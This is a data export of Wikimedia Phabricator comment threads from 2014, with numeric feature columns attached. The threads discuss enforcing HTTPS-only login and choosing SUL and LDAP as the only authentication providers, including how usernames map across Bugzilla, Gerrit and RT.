+457,Login with http throws ugly error,Login to http://phabricator.wikimedia.org ends up in an ugly error message. I guess we shouldn't allow anybody to login from http in the first place? Only https (which seems to work just fine).,High,80.0,1411028195,1411580780.0,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-bx2aqzuojow6lqkpncqn,task_description,resolved,True,c3,1,True,False,True,-41,True,0,1,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,0
+2620,Login with http throws ugly error,This was fixed by Daniel and Chase: https://gerrit.wikimedia.org/r/162534,,,1411580780,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-bx2aqzuojow6lqkpncqn,task_subcomment,,True,c3,1,True,,,-41,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+2532,Login with http throws ugly error,"Yes, we should enforce HTTPS-only on Phabricator. We've done it on Gerrit  & Bugzilla for years.",,,1411155791,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-bx2aqzuojow6lqkpncqn,task_subcomment,,True,c3,1,True,,,-41,True,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+2511,Login with http throws ugly error,"Hmm, guess that https://gerrit.wikimedia.org/r/#/c/160588/ and https://gerrit.wikimedia.org/r/#/c/160780/ was only for the backend.
+
+Proposing to enforce/redirect to https.",,,1411060401,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-bx2aqzuojow6lqkpncqn,task_subcomment,,True,c3,1,True,,,-41,True,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+16,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","NOTE: [[ https://www.mediawiki.org/wiki/Phabricator/FAQ#Why_can.27t_I_login_using_my_GitHub_or_Google_account.3F | check the FAQ ]] for a summary of why we are not using GitHub, Google, or other third party authentication providers.
+
+**TODO for Day 1:**
+  - WMF SUL Authentication (T314)
+  - Disable local user creation.
+
+**Already ready for Day 1:**
+  - Claiming other accounts (SUL claiming local or vice versa)
+
+**Post-Day 1 Possibilities**
+ (please open new bugs that are not blockers to this one):
+  - Supporting other/3rd party providers (//e.g.//: github or Persona)
+
+
+
+Original report:
+----------------
+
+Phabricator has [[ https://secure.phabricator.com/book/phabricator/article/configuring_accounts_and_registration/ | several options for authentication ]] including local username and password (as used on this instance), LDAP and OAuth2 integration. We could technically use any of these three methods to provide authentication for phabricator.wikimedia.org.
+
+Our bugzilla has traditionally used local authentication, but the need to create yet another account is seen by some as a barrier to filing new bugs {{citation needed}}. We have both wikitech LDAP accounts and MediaWiki's own OAuth extension as possible replacements for local auth in the new system. 
+
+The choice of an authentication provider will have ramifications for other tasks as well so it should be undertaken early in the process. It is quite likely that preserving ownership and author attribution will be an important part of migration of issues from bugzilla to phabricator.",High,80.0,1396565770,1410484861.0,PHID-USER-ll6tmaogat2b5q7tnqas,False,PHID-USER-nyhmztvvw4luz5mlcuvg,False,PHID-TASK-3lh24obkrnam3r4lanzs,task_description,resolved,True,c3,1,True,False,True,-65,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+333760,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)",">>! In T16#12027, @Qgil wrote:
+>>>! In T16#11741, @RandomDSdevel wrote:
+>> …but where to put something like that, exactly?  
+> 
+> Now it's here: https://www.mediawiki.org/wiki/Phabricator/FAQ#Why_can.27t_I_login_using_my_GitHub_or_Google_account.3F, visibly linked in the description of this task.
+
+OK, thanks!  ",,,1417043820,,PHID-USER-tulrxb4ebie42howqlxj,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,False,,,-32,True,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,0,0,1
+3558,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)",">>! In T16#11741, @RandomDSdevel wrote:
+> …but where to put something like that, exactly?  
+
+Now it's here: https://www.mediawiki.org/wiki/Phabricator/FAQ#Why_can.27t_I_login_using_my_GitHub_or_Google_account.3F, visibly linked in the description of this task.
+",,,1413762303,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-37,True,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,0,0,0,1
+3527,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)",">>! In T657, the description asks:  
+> Do you, the guys at the Wikimedia Foundation, plan on allowing users to link their Phabricator accounts to external accounts originating from sites other than those of the WMF, like Google, Twitter, etc., …?
+
+>>! In T657#11122, @chasemp wrote:
+> this question is probably a good candidate to have in a faq type document as I'm sure it will come up again
+
+…but where to put something like that, exactly?  ",,,1413670082,,PHID-USER-tulrxb4ebie42howqlxj,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,False,,,-37,True,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+3526,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)",">>! In T657, the description asks:  
+> Do you, the guys at the Wikimedia Foundation, plan on allowing users to link their Phabricator accounts to external accounts originating from sites other than those of the WMF, like Google, Twitter, etc., …?
+
+>>! In T657#11122, @chasemp wrote:
+> this question is probably a good candidate to have in a faq type document as I'm sure it will come up again
+
+But where to put something like that, exactly?  ",,,1413670069,,PHID-USER-tulrxb4ebie42howqlxj,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,False,,,-37,True,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+3525,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)",">>! In T657, the description asks:  
+> Do you, the guys at the Wikimedia Foundation, plan on allowing users to link their Phabricator accounts to external accounts originating from sites other than those of the WMF, like Google, Twitter, etc., …?
+
+>>! In T657#11122, @chasemp wrote:
+> this question is probably a good candidate to have in a faq type document as I'm sure it will come up again",,,1413670040,,PHID-USER-tulrxb4ebie42howqlxj,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,False,,,-37,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,0,0,1
+3524,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","From the description of {T657}:  
+> Do you, the guys at the Wikimedia Foundation, plan on allowing users to link their Phabricator accounts to external accounts originating from sites other than those of the WMF, like Google, Twitter, etc., …?
+
+>>! In T657#11122, @chasemp wrote:
+> this question is probably a good candidate to have in a faq type document as I'm sure it will come up again",,,1413669992,,PHID-USER-tulrxb4ebie42howqlxj,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,False,,,-37,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,0,0,1
+162,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)",//importing issue status//,,,1410484860,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+161,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mattflaschen** wrote on `2014-07-31 04:26:44 (UTC)`
+
+And LDAP, since that also seems to be decided per {T338}.",,,1410484860,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+160,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mattflaschen** wrote on `2014-07-31 04:24:29 (UTC)`
+
+>>! In T40#114, @mmodell wrote:
+> Can't we mark this as done?
+
+Yeah.  That implies marking the GitHub as WONTFIX (since it says ""Support //only// WMF SUL"").  Going ahead and doing so, since no one at {T337} has come out strongly in favor of it, and there are various issues (not necessary, depending on a proprietary third party site to login, privacy, etc.)",,,1410484860,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,1
+159,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mmodell** wrote on `2014-07-29 16:35:36 (UTC)`
+
+Can't we mark this as done?",,,1410484859,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+158,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**csteipp** wrote on `2014-06-16 17:43:42 (UTC)`
+
+>>! In T40#111, @mattflaschen wrote:
+>>>! In T40#109, @csteipp wrote:
+>>>>! In T40#108, @Rush wrote:
+>>> * how does the auth provider failover work for an account associated to both when one (SUL or LDAP) is down?
+>> 
+>> Since you click on the authentication mechanism when you get to the login page, if one is down the login flow just wont work.
+> 
+> I think @Rush was asking about an account with //both// SUL and LDAP associated with a single Phabricator account.  Could it then log in via LDAP when SUL is entirely down?  My guess is yes (and vice versa if only LDAP is down), but it's an important question, and I have no direct evidence (it would be nice to hook LDAP up to Labs to test this, if possible).
+
+I haven't fully tested the exact scenario, but I'm 99% sure the answer is yes. Just based off the way the OAuth auth works.",,,1410484859,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,1,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+157,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mattflaschen** wrote on `2014-06-13 23:53:21 (UTC)`
+
+>>! In T40#109, @csteipp wrote:
+>>>! In T40#108, @Rush wrote:
+>> * how does the auth provider failover work for an account associated to both when one (SUL or LDAP) is down?
+> 
+> Since you click on the authentication mechanism when you get to the login page, if one is down the login flow just wont work.
+
+I think @Rush was asking about an account with //both// SUL and LDAP associated with a single Phabricator account.  Could it then log in via LDAP when SUL is entirely down?  My guess is yes (and vice versa if only LDAP is down), but it's an important question, and I have no direct evidence (it would be nice to hook LDAP up to Labs to test this, if possible).
+",,,1410484859,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,0,1,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+156,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mattflaschen** wrote on `2014-06-13 23:47:36 (UTC)`
+
+For context in the below, there are basically two ways existing systems can be imported:
+
+* Just as text.  Users A, B, and C commented on an RT or Bugzilla thread.  The import includes their comments (either in comment 0, or as separate comments written by ""Import script"") and there is plain text that says ""By Bugzilla user C"", but they are not truly attributed in that the C Phabricator account owns the comments
+* True user import with proper association (A, B, and C become Phabricator users, the comments are attributed to them in the normal Phabricator way, and they own them).
+
+>>! In T40#104, @csteipp wrote:
+> 1) We allow any Phabricator username. That means if you're used to seeing ""CSteipp"" comment about stuff gerrit (or csteipp@wikimedia.org in bugzilla), I may chose ""OMGKitties"" for my phabricator name, and everyone has to get used to that. Any sane linking of gerrit / bugzilla comments to my new identity can't happen automatically.
+
+I don't know that much about LDAP.  But there has to be some kind of link table (mapping LDAP username => Phabricator username) on the Phabricator side.  So, assume we pre-import LDAP accounts as suggested by @csteipp.  That link table will then be fully populated.
+
+Later (this is only relevant to phase 2), if we import existing Gerrit changesets into Phabricator's code review tool (Differential), the import script can consult that link table to map the usernames.  This part is relatively straightforward (other aspects of a Gerrit ->Differential migration, if we did it, would be harder).
+
+Bugzilla is a harder problem. Bugzilla already has its own identity (email), which is neither Wikitech/Gerrit/LDAP nor SUL.  If we wanted to do a Bugzilla import with proper user association, one way is to create a temporary Bugzilla auth backend.  We could then pre-populate users in the same way as LDAP (something would need to be done about merging accounts, though, due to many people having LDAP and Bugzilla), then maybe drop the Bugzilla auth backend afterwards (people could somehow regain access via their email, which would be stored on the Phabricator side).
+
+SUL isn't currently used for anything we're importing //from//, so it's not an issue there.
+
+> 3) We pre-import and pre-link LDAP accounts for day 1. We (during import) control the username, and developers ""claim"" their account by logging in with LDAP. Only issue would be if LDAP usernames don't comply with Phabricator's rules. Does anyone know? (maybe @Rush or @laner knows?)
+
+That seems reasonable, but not essential.  Bear in mind that people don't necessarily use a similar name/email for Bugzilla (and we're actually importing/replacing Bugzilla first), let alone SUL.  And even if we solved all that, it still wouldn't do anything for IRC.
+
+It will all end up being a net win long-term if we can actually import both Bugzilla and Gerrit, since then it's one username for bug tracking and code review by definition, since it's one system.
+
+>>! In T40#108, @Rush wrote:
+
+Your action plan/questions all seem good.
+
+>Hopefully these instances are small and people are smarter than I.  It is my hope that truly abhorrent instances of this kind of thing are few.
+
+I used to be superm401 (SUL and IRC), mflaschen@wikimedia.org (Bugzilla), mflaschen (production), and mattflaschen (Labs/Gerrit).  Now I'm down to three thanks to the Labs/production username consolidation.
+
+So it's not that unusual.
+
+We could consider exposing the SUL  and/or LDAP usernames on the Phabricator user page.  That would make things a little easier.",,,1410484858,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,1
+155,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**csteipp** wrote on `2014-06-13 23:10:55 (UTC)`
+
+>>! In T40#108, @Rush wrote:
+> * how does the auth provider failover work for an account associated to both when one (SUL or LDAP) is down?
+
+Since you click on the authentication mechanism when you get to the login page, if one is down the login flow just wont work.
+
+As far as I can tell, the external logins are for login only, not authorization. So groups or ideas about rights in other systems aren't exposed to phabricator. So if LDAP is down, all my Phabricator rights still work.
+
+> Above all, let's get SUL in prod and test out what's actually possible.
+
+Just let me know what you need! I have it setup locally, and helped chad setup the labs instance. Ping me on irc if you need help getting it up.",,,1410484858,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,1,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,1,1,0,1,0,0,0,1,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,1
+154,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**Rush** wrote on `2014-06-13 21:37:53 (UTC)`
+
+Hopefully I can provide something useful here.  I have come up against a bit of a issue that will somewhat dictate this.  It goes like this: we want to import an rt ticket, it's assigned to a username, and created by a username, and more usernames have commented.  So in order to meaningfully import ticket history (linked to users in the usual phabricator ways) we would have to import entire blocks of users from the ticketing system of origin.  I haven't worked out exactly if / how that's possible.  It may be sanest to do generic metadata for imported tickets, but I think no one will love that, including me.  So once I get time I will explore the possibilities of user mass-import. This also means we need to consider identities outside of SUL since that is where the tickets are being imported from, and that is the context under which the associations will be meaningful.
+
+Some people may have different usernames _currently_ in our systems.  I know it is my folly that I am cpettet in rt and rush elsewhere, and then chasemp in chat.  Why I ever considered this I don't know.  But it means that the above importing gets weird.  Hopefully these instances are small and people are smarter than I.  It is my hope that truly abhorrent instances of this kind of thing are few.
+
+I think having consumed this thread now that there is a lot of good, if not overwhelming, ideas here.  My suggestion is that we have reached the point of rubber-and-road where we need to see what works with phabricator and SUL enabled.  The SUL stuff currently being under review (or at least a stripped down version of it) this seems like we can do some real figuring soon.
+
+An outline I am intending to test once we get there:
+
+1. People will have a Phabricator account.  This account name you can choose at the time of account association with an existing entity.  There is no way around this.  yes, someone could choose to be known as ActuallyPolPot.  That isn't a bug but a feature :)   I think :)
+
+2. Existing authentication providers from the beginning: Wikitech/labs/gerrit LDAP & SUL.  I have confirmed I can hook Phabricator up to the LDAP infrastructure that exists now.  That means your SN registered through wikitech would be an account you can link through LDAP to a Phabricator account.  
+
+I am rush in wikitech ldap.  I create a Rush account in Phabricator, this is done by logging into the ldap auth provider with my existing wikitech credentials.  I can then associate my SUL account in the same way and both are now linked to one username in Phabricator.  At least that is my hope.
+
+3.  Since we are allowing two authentication providers (LDAP and SUL) in the case of one being down the other is available, have to test the extent of this.   My theory is anyone of technical acumen who will be responding to a SUL outage will have an account through wikitech.  If they don't, they should :)
+
+4. I do not intend to allow account registration with the local Phabricator, in that accounts cannot be created from nothing.  They must exist in either LDAP or SUL in order to be associated with a Phabricator username.
+
+The things I do not know are plenty:
+
+* can we associate privs in phabricator to ldap groupings?
+* how does the auth provider failover work for an account associated to both when one (SUL or LDAP) is down?
+
+There is a great deal of consolidation that needs to happen.  RT has standalone accounts -- these will no longer be relevant in themselves.  Bugzilla has standalone accounts -- these will no longer be relevant in themselves.  Wikitech/LDAP has accounts -- I do not intend to replace or augment this -- only hook into it.  SUL has accounts -- I do not intend to replace or augment this only hook into it.
+
+The further consolidation of wikitech / SUL / anything else is a big, big discussion.  I think this approach keeps our existing secure registration processes (you have to use two-factor for example to change my LDAP password).  We understand how to add users to wikitech.  We understand how to add users to SUL.  Let's preserve those mechanisms as authoritative for the time being.  
+
+I'm not sure yet how that plays out -- I think some version of csteipp's #3 suggestion is probably necessary.  
+
+Above all, let's get SUL in prod and test out what's actually possible.",,,1410484858,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1
+153,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-06-13 21:18:52 (UTC)`
+
+Well, it's not that there are no users of xx.wiki trying to ""get their username"" in yy.wiki because someone else was using the exact username before the SUL merge. I mean, we are not going to get a perfect solution ever. Pre-populating wiith LDAP data + let it flow + assume good faith might be just enough. 
+
+If there is an evident case of abuse (my real name is OMGKitties and csteipp is impersonating me to confuse everybody) then we can always act upon it.",,,1410484857,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0,1,0,0,1,1,1,1,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,0,1,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,0
+152,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**laner** wrote on `2014-06-13 21:05:00 (UTC)`
+
+LDAP names are restricted to anything MediaWiki allows, unless you're considering the shell account name, which is much more greatly restricted (alpha-numeric, underscore, and dashes, I think).",,,1410484857,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,1,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0
+151,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**csteipp** wrote on `2014-06-13 21:02:00 (UTC)`
+
+>>! In T40#103, @mattflaschen wrote:
+>>>! In T40#101, @csteipp wrote:
+>> Wrench in plans. Phabricator only supports very limited usernames: ""Usernames must contain only numbers, letters, period, underscore and hyphen, and can not end with a period. They must have no more than 64 characters."" Which means a ton of MediaWiki usernames can't be used as the Phabricator username.
+> 
+> This comes back to the important fact that (as currently configured at least) Phabricator has its own set of usernames, independent of MediaWiki's, even though they can be linked with OAuth.  mmodell [said above](http://fab.wmflabs.org/T40#94) even the LDAP integration works like this (""No, phabricator does not ""actually use LDAP as it's username database"" .... it uses ldap like another oauth provider."")
+
+Correct. As I put on the LDAP discussion (dear phabricator, why is it so hard to find the permalink to a comment I made?), ""As for the conflict, and what takes precedent-- The unique identity in Phabricator is the Phabricator username. Those identities can use other authentication mechanisms (LDAP, OAuth) to sign into those accounts. But that's the username that shows up in comments, commits, etc.""
+
+So yes, the reality we have to deal with is Phabricator will introduce another identity (i.e., username) into our developer eco system. So the discussion is how do we make that as seamless / transparent as possible.
+
+1) We allow any Phabricator username. That means if you're used to seeing ""CSteipp"" comment about stuff gerrit (or csteipp@wikimedia.org in bugzilla), I may chose ""OMGKitties"" for my phabricator name, and everyone has to get used to that. Any sane linking of gerrit / bugzilla comments to my new identity can't happen automatically.
+
+2) (failed) We were going to force you use your WMF/SUL username, but phabricator's rules don't allow us to do that without a major change to Phabricator.
+
+So we kinda back to brainstorming about the best road forward. Let me propose:
+
+3) We pre-import and pre-link LDAP accounts for day 1. We (during import) control the username, and developers ""claim"" their account by logging in with LDAP. Only issue would be if LDAP usernames don't comply with Phabricator's rules. Does anyone know? (maybe @Rush or @laner knows?)
+
+4) We ask really nice that developer use their gerrit, bugzilla, or SUL account name, and rely on policy to enforce naming convention.
+
+5) ???
+",,,1410484857,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,0,0,0,0,0,1,1,1,1,1,0,0,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
+150,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mattflaschen** wrote on `2014-06-13 03:54:56 (UTC)`
+
+>>! In T40#101, @csteipp wrote:
+> Wrench in plans. Phabricator only supports very limited usernames: ""Usernames must contain only numbers, letters, period, underscore and hyphen, and can not end with a period. They must have no more than 64 characters."" Which means a ton of MediaWiki usernames can't be used as the Phabricator username.
+
+This comes back to the important fact that (as currently configured at least) Phabricator has its own set of usernames, independent of MediaWiki's, even though they can be linked with OAuth.  mmodell [said above](http://fab.wmflabs.org/T40#94) even the LDAP integration works like this (""No, phabricator does not ""actually use LDAP as it's username database"" .... it uses ldap like another oauth provider."")
+
+I created the MediaWiki.org user PhabricatorTest&*^%. (yes, the period is part of the username).  When I signed up using the OAuth flow, Phabricator prompted me (via a pre-fill) to use that username at first, but then said it was not valid for Phabricator (I forget if it was immediate, or required a submit).
+
+I had the complete choice of which Phabricator username to use.  I went with PhabricatorTest_____; however, it's still fully linked to the MediaWiki.org account with a different name (the screenshot below shows the linkage, but unfortunately not the Phabricator username).
+
